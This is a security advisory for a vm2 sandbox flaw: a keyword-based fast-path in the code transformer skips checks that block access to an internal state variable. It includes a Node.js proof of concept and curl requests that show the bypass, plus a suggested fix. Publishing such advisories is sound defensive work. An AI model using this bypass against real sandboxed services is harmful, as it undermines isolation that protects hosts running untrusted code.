CVE-2026-44003: vm2: Transformer Fast-Path Bypass Exposes Internal State Variable

Summary vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL variable, which exposes internal security functions (handleException, wrapWith, import).

Details In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.

When the fast-path is taken: 1. INTERNALSTATENAME identifier check is bypassed: The AST visitor that blocks access to VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL never runs 2. with statement instrumentation is bypassed: with() statements are not wrapped with wrapWith(), enabling scope manipulation 3. The internal state object exposes: handleException(e), wrapWith(x), import(what)

While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.

PoC

Library-level PoC (Node.js script — primary): javascript const { VM } = require("vm2"); const vm = new VM();

// Access internal state (bypassed — no catch/import/async keywords) const result = vm.run( var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; Object.keys(x).join(",") ); console.log(result); // "wrapWith,handleException,import"

// Control test — blocked when catch keyword is present try { vm.run( try { var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; } catch(e) { e.message } ); } catch(e) { console.log(e.message); // "Use of internal vm2 state variable" }

HTTP demonstration: bash Internal state access (bypassed) curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; Object.keys(x).join(\",\")"}' Result: "wrapWith,handleException,import"

Control test — blocked when catch keyword is present curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"try { var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; } catch(e) { e.message }"}' Result: {"errors":["Use of internal vm2 state variable"]}

Suggested fix: javascript // transformer.js:55 — add 'with' keyword and INTERNALSTATENAME check if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNALSTATENAME) === -1) { return {proto: null, code, hasAsync: false}; }

Impact - Security Control Bypass: The INTERNALSTATENAME access restriction is completely ineffective when the code avoids 3 specific keywords. - Defense-in-Depth Violation: Internal security functions are exposed, creating a latent attack surface for future code changes. - Scope: All applications using vm2. No special configuration required.